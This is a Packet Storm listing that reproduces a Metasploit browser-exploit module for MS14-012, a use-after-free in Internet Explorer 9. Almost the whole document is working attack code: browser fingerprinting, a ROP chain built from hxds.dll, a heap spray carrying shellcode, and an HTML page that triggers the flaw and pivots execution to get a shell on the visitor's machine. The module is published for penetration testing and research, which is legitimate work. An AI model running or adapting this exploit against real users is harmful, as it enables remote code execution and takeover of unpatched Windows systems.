MS14-012 Internet Explorer TextRange Use-After-Free

2014-03-2000:00:00
Jason Kratzer
packetstormsecurity.com
EPSS
0.973
Percentile
99.9%
JSON
`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::BrowserExploitServer  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "MS14-012 Internet Explorer TextRange Use-After-Free",  
'Description' => %q{  
This module exploits a use-after-free vulnerability found in Internet Explorer. The flaw  
was most likely introduced back in 2013, therefore only certain builds of MSHTML are  
affected. In our testing with IE9, these vulnerable builds appear to be between  
9.0.8112.16496 and 9.0.8112.16533, which implies August 2013 until early March 2014  
(before the patch).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Jason Kratzer', # Original discovery  
'sinn3r' # Port  
],  
'References' =>  
[  
[ 'CVE', '2014-0307' ],  
[ 'MSB', 'MS14-012' ]  
],  
'Platform' => 'win',  
'BrowserRequirements' =>  
{  
:source => /script/i,  
:os_name => OperatingSystems::WINDOWS,  
:ua_name => HttpClients::IE,  
:office => "2010"  
#:ua_ver => '9.0' # Some fingerprinting issue w/ os_detect, disabled for now  
},  
'Targets' =>  
[  
[  
'Automatic',  
{  
# mov eax,dword ptr [edx+0C4h]; call eax  
'Pivot' => 0x0c0d1020 # ECX  
}  
]  
],  
'Payload' =>  
{  
'BadChars' => "\x00",  
'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff" # add esp, -500  
},  
'DefaultOptions' =>  
{  
'Retries' => false, # You're too kind, tab recovery, I only need 1 shell.  
'InitialAutoRunScript' => 'migrate -f'  
},  
'DisclosureDate' => "Mar 11 2014", # Vuln was found in 2013. Mar 11 = Patch tuesday  
'DefaultTarget' => 0))  
end  
  
# hxds.dll  
def get_payload  
setup =  
[  
0x51C3B376, # rop nop  
0x51C2046E, # pop edi; ret  
0x51BE4A41, # xchg eax, esp; ret  
].pack("V*")  
  
# rop nops  
45.times { setup << [0x51C3B376].pack('V*') }  
  
setup << [  
0x51C2046E, # pop edi ; ret  
0x51BD28D4 # mov eax, [ecx], call [eax+8]  
].pack('V*')  
  
p = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>setup})  
  
Rex::Text.to_unescape(p)  
end  
  
def exploit_html  
template = %Q|<!DOCTYPE html>  
<html>  
<head>  
<meta http-equiv='Cache-Control' content='no-cache'/>  
<meta http-equiv="X-UA-Compatible" content="IE=edge" >  
<script>  
<%=js_property_spray%>  
sprayHeap({shellcode:unescape("<%=get_payload%>")});  
  
function hxds() {  
try {  
location.href = 'ms-help:';  
} catch(e) {}  
}  
  
function strike() {  
hxds();  
var fake = "";  
for (var i = 0; i < 12; i++) {  
if (i==0) {  
fake += unescape("<%=Rex::Text.to_unescape([target['Pivot']].pack('V*'))%>");  
}  
else {  
fake += "\\u4141\\u4141";  
}  
}  
  
var elements = [  
'FOOTER', 'VIDEO', 'HTML', 'DIV', 'WBR', 'THEAD', 'PARAM', 'SECTION', 'IMG',  
'TIME', 'ASISE', 'CANVAS', 'P', 'RT', 'FRAMESET', 'TRACK', 'CAPTION'  
];  
  
for (var i = 0; i < elements.length; i++) {  
var element = document.createElement(elements[i]);  
document.body.appendChild(element);  
}  
  
var tRange = document.body.createTextRange();  
tRange.moveToElementText(document.body.children[16]);  
tRange.execCommand('InsertInputSubmit', true, null);  
tRange.moveToElementText(document.body.children[0]);  
tRange.moveEnd('character',4);  
tRange.execCommand('InsertOrderedList', true, null);  
tRange.select();  
tRange.moveToElementText(document.body.children[0]);  
tRange.moveEnd('character',13);  
tRange.execCommand('Underline', true, null);  
tRange.execCommand('RemoveFormat', true, null);  
var fillObject = document.createElement('button');  
fillObject.className = fake;  
}  
</script>  
</head>  
<body onload='strike();'></body>  
</html>  
|  
  
return template, binding()  
end  
  
def on_request_exploit(cli, request, target_info)  
send_exploit_html(cli, exploit_html)  
end  
  
end  
`
EPSS
0.973
Percentile
99.9%
JSON
Related for PACKETSTORM:125813